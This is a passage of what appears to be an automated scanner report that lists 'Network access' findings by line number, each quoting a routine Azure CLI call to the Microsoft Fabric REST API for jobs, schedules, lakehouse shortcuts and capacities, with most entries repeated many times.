    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID"
  • Network accessline 703
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID"
  • Network accessline 703
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID"
  • Network accessline 703
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID"
  • Network accessline 703
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID"
  • Network accessline 703
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID"
  • Network accessline 703
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID"
  • Network accessline 709
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 709
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 709
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 709
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 709
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 709
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 709
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 709
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 710
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 710
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 710
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 710
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 710
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 710
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 710
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 710
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 711
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel"
  • Network accessline 711
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel"
  • Network accessline 711
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel"
  • Network accessline 711
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel"
  • Network accessline 711
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel"
  • Network accessline 711
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel"
  • Network accessline 711
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel"
  • Network accessline 711
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel"
  • Network accessline 731
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 731
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 731
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 731
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 731
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 731
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 731
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 731
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 732
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 732
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 732
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 732
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 732
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 732
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 732
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 732
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 733
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 733
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 733
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 733
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 733
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 733
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 733
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 733
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 734
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \
  • Network accessline 734
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \
  • Network accessline 734
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \
  • Network accessline 734
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \
  • Network accessline 734
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \
  • Network accessline 734
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \
  • Network accessline 734
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \
  • Network accessline 734
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \
  • Network accessline 744
    # List az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 744
    # List az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 744
    # List az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 744
    # List az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 744
    # List az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 744
    # List az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 744
    # List az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 744
    # List az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 745
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 745
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 745
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 745
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 745
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 745
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 745
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 745
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 746
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules"
  • Network accessline 746
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules"
  • Network accessline 746
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules"
  • Network accessline 746
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules"
  • Network accessline 746
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules"
  • Network accessline 746
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules"
  • Network accessline 746
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules"
  • Network accessline 746
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules"
  • Network accessline 747
    # Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 747
    # Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 747
    # Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 747
    # Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 747
    # Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 747
    # Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 747
    # Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 747
    # Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 748
    az rest --method delete --resource "https://api.fabric.microsoft.com" \
  • Network accessline 748
    az rest --method delete --resource "https://api.fabric.microsoft.com" \
  • Network accessline 748
    az rest --method delete --resource "https://api.fabric.microsoft.com" \
  • Network accessline 748
    az rest --method delete --resource "https://api.fabric.microsoft.com" \
  • Network accessline 748
    az rest --method delete --resource "https://api.fabric.microsoft.com" \
  • Network accessline 748
    az rest --method delete --resource "https://api.fabric.microsoft.com" \
  • Network accessline 748
    az rest --method delete --resource "https://api.fabric.microsoft.com" \
  • Network accessline 748
    az rest --method delete --resource "https://api.fabric.microsoft.com" \
  • Network accessline 749
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 749
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 749
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 749
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 749
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 749
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 749
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 749
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 773
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 773
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 773
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 773
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 773
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 773
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 773
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 773
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 774
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 774
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 774
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 774
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 774
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 774
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 774
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 774
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 775
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 775
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 775
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 775
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 775
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 775
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 775
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 775
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 776
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \
  • Network accessline 776
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \
  • Network accessline 776
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \
  • Network accessline 776
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \
  • Network accessline 776
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \
  • Network accessline 776
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \
  • Network accessline 776
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \
  • Network accessline 776
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \
  • Network accessline 783
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 783
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 783
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 783
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 783
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 783
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 783
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 783
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 784
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 784
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 784
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 784
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 784
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 784
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 784
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 784
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 785
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts"
  • Network accessline 785
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts"
  • Network accessline 785
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts"
  • Network accessline 785
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts"
  • Network accessline 785
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts"
  • Network accessline 785
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts"
  • Network accessline 785
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts"
  • Network accessline 785
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts"
  • Network accessline 792
    SHORTCUT_PATH="Tables/external_data" az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 792
    SHORTCUT_PATH="Tables/external_data" az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 792
    SHORTCUT_PATH="Tables/external_data" az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 792
    SHORTCUT_PATH="Tables/external_data" az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 792
    SHORTCUT_PATH="Tables/external_data" az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 792
    SHORTCUT_PATH="Tables/external_data" az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 792
    SHORTCUT_PATH="Tables/external_data" az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 792
    SHORTCUT_PATH="Tables/external_data" az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 793
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 793
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 793
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 793
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 793
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 793
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 793
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 793
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 794
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 794
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 794
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 794
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 794
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 794
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 794
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 794
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 795
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH"
  • Network accessline 795
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH"
  • Network accessline 795
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH"
  • Network accessline 795
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH"
  • Network accessline 795
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH"
  • Network accessline 795
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH"
  • Network accessline 795
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH"
  • Network accessline 795
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH"
  • Network accessline 807
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 807
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 807
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 807
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 807
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 807
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 807
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 807
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 808
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 808
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 808
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 808
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 808
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 808
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 808
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 808
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 809
    --url "https://api.fabric.microsoft.com/v1/capacities" \
  • Network accessline 809
    --url "https://api.fabric.microsoft.com/v1/capacities" \
  • Network accessline 809
    --url "https://api.fabric.microsoft.com/v1/capacities" \
  • Network accessline 809
    --url "https://api.fabric.microsoft.com/v1/capacities" \
  • Network accessline 809
    --url "https://api.fabric.microsoft.com/v1/capacities" \
  • Network accessline 809
    --url "https://api.fabric.microsoft.com/v1/capacities" \
  • Network accessline 809
    --url "https://api.fabric.microsoft.com/v1/capacities" \
  • Network accessline 809
    --url "https://api.fabric.microsoft.com/v1/capacities" \
  • Network accessline 819
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 819
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 819
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 819
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 819
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 819
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 819
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 819
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 820
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 820
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 820
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 820
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 820
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 820
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 820
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 820
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 821
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 821
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 821
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 821
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 821
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 821
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 821
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 821
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 822
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \
  • Network accessline 822
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \
  • Network accessline 822
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \
  • Network accessline 822
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \
  • Network accessline 822
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \
  • Network accessline 822
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \
  • Network accessline 822
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \
  • Network accessline 822
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \
  • Network accessline 843
    # Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 843
    # Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 843
    # Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 843
    # Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 843
    # Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 843
    # Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 843
    # Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 843
    # Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 844
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 844
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 844
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 844
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 844
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 844
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 844
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 844
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 845
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 845
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 845
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 845
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 845
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 845
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 845
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 845
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 846
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 846
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 846
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 846
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 846
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 846
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 846
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 846
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 850
    # Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 850
    # Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 850
    # Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 850
    # Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 850
    # Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 850
    # Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 850
    # Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 850
    # Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 851
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 851
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 851
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
